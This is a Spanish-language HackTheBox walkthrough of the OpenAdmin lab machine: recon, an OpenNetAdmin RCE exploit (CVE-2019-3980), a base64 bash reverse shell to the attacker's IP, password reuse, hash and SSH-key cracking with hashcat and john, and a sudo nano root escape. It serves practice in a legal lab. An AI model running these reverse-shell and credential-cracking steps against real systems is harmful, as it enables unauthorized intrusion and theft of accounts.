OpenAdmin
| Plataforma | HackTheBox |
|---|---|
| Dificultad | 🟡 Medio |
| Sistema operativo | 🐧 Linux🌐 Web |
| Estado | Terminada |
| User flag | |
| Root flag | |
| CVEs | CVE-2019-3980 |
| Técnicas | #web#linux#privesc#ssh#lateral#rce |
| Extensión | 324 palabras · 2 min |
| Máquina original | https://app.hackthebox.com/machines/OpenAdmin?sort_by=created_at&sort_type=desc |
Resumen
Vulneabilidad RCE de un openadmin 18.1.1 con movimiento lateral a distintos usuarios y finalmente a root.
Reconocimiento y Enumeración
bashnmap $(target) -A -T5 -p- --min-rate 5000 gobuster dir -u http://$(target)/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 150 -x php,html,txt,bak,js
Puertos abiertos:
| Puerto | Servicio | Versión |
|---|---|---|
| 22 | SSH | OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 |
| 80 | HTTP | Apache httpd 2.4.29 |
bash1=============================================================== 2Starting gobuster in directory enumeration mode 3=============================================================== 4index.html (Status: 200) [Size: 10918] 5music (Status: 301) [Size: 314] [--> http://10.129.69.184/music/] 6artwork (Status: 301) [Size: 316] [--> http://10.129.69.184/artwork/] 7sierra (Status: 301) [Size: 315] [--> http://10.129.69.184/sierra/]
Bucando en music y haciendo gobuster de nuevo lo más interesante que encuentro es /music/Source pero mirando dentro solo hay algunos archivos que no veo de útilidad a simple vista. Inspeccionando página veo un href que nos lleva a un enlace /ona. Entro y veo un panel de openadmin 18.1.1

bashsearchsploit openadmin

Vemos que hay un exploit público en metasploit. Vamos a probarlo.
Explotación
bash1msfconsole 2search openadmin 3use 0 4set rhosts 10.129.69.184 5set targeturi /ona 6exploit
Pero no llega a funcionar. Encuentro un repositorio público https://github.com/sec-it/OpenNetAdmin-RCE.
Buscando más información encuentro que estamos ante
CVE-2019-3980
Ejecutando ruby exploit.rb exploit http://10.129.69.184/ona/ id obtengo el id como usuario www-data.
Revshell (B64)
Le pasamos una revshell. Para ello
bash1PAYLOAD="bash -i >& /dev/tcp/10.10.15.111/9001 0>&1" 2B64=$(echo -n "$PAYLOAD" | base64 -w0) 3echo $B64 4nc -nvlp 9001 # En otra terminal! 5ruby exploit.rb exploit http://10.129.69.184/ona/ "echo $B64|base64 -d|bash" # Obtenemos la shell
(Opcional) Tratamiento de la TTY
Para tener una shell estable
bash1python3 -c 'import pty;pty.spawn("/bin/bash")' 2export TERM=xterm 3# Ctrl+Z en tu terminal local, luego: 4stty raw -echo; fg 5# y en la shell remota: 6reset
Escalada de privilegios
Usuario Jimmy
Htb nos da una pista, ya que nos pide la pass del usuario jimmy. Si buscamos información en internet obtenemos que la BD se almacena en /opt/ona/www/local/config/database_settings.inc.php donde nos aparece una pass. Si probamos a ver si jimmy ha reutilizado la pass.
Ejecutamos su jimmy

Usuario joanna
Gracias a que estamos haciendo el Guided Mode de HTB. Sabemos que joanna tiene un vhost. Simplemente miraremos apache, nginx y podremos ver los vhost virtuales que tiene.
Como era de esperar encontramos uno intrnal.openadmin.htb

Además si nos damos cuenta en la foto, vemos que la config se situa en /var/www/internal y leyendo la config

txt00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1
Hay que crackearla. El tipo de hash es Sha-512 (raw), no tiene salt así que.
bashhashcat -m 1700 -r best64.rule hash.txt /usr/share/wordlists/rockyou.txt hashcat -m 1700 hash.txt --show 00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1:Revealed
Ahora debemos acceder a internal.openadmin.htb para eso debemos montar un tunel ssh para poder acceder. Leyendo los archivos, si nos logueamos como jimmy podemos acceder a la clave privada de joana.
Ejecutamos
bashssh -L 52846:127.0.0.1:52846 jimmy@10.129.69.184 # Redirige el localhost de la victima con el nuestro

RSA1-----BEGIN RSA PRIVATE KEY----- 2Proc-Type: 4,ENCRYPTED 3DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D 4 5kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8 6ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO 7ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE 86xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ 9ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du 10y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI 119z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4 12piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/ 13/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH 1440ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ 15fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb 169FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80 17X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg 18S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F 19FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh 20Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa 21RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z 22uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr 231kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2 24XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79 25yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM 26+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt 27qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt 28z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe 29K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN 30-----END RSA PRIVATE KEY-----
Tiene passphrase pero para crackearla usamos
bashssh2john id_rsa > rsa_hash.txt john rsa_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Ahora ssh -i ./id_rsa joanna@$(target), colocamos la passphrase y listo. Entramos como joanna.
Root

Podemos ejecutar nano como sudo. https://gtfobins.org/gtfobins/nano/ nos indica como vulnerarlo.
bashsudo /bin/nano /opt/priv ^R^X reset; sh 1>&0 2>&0

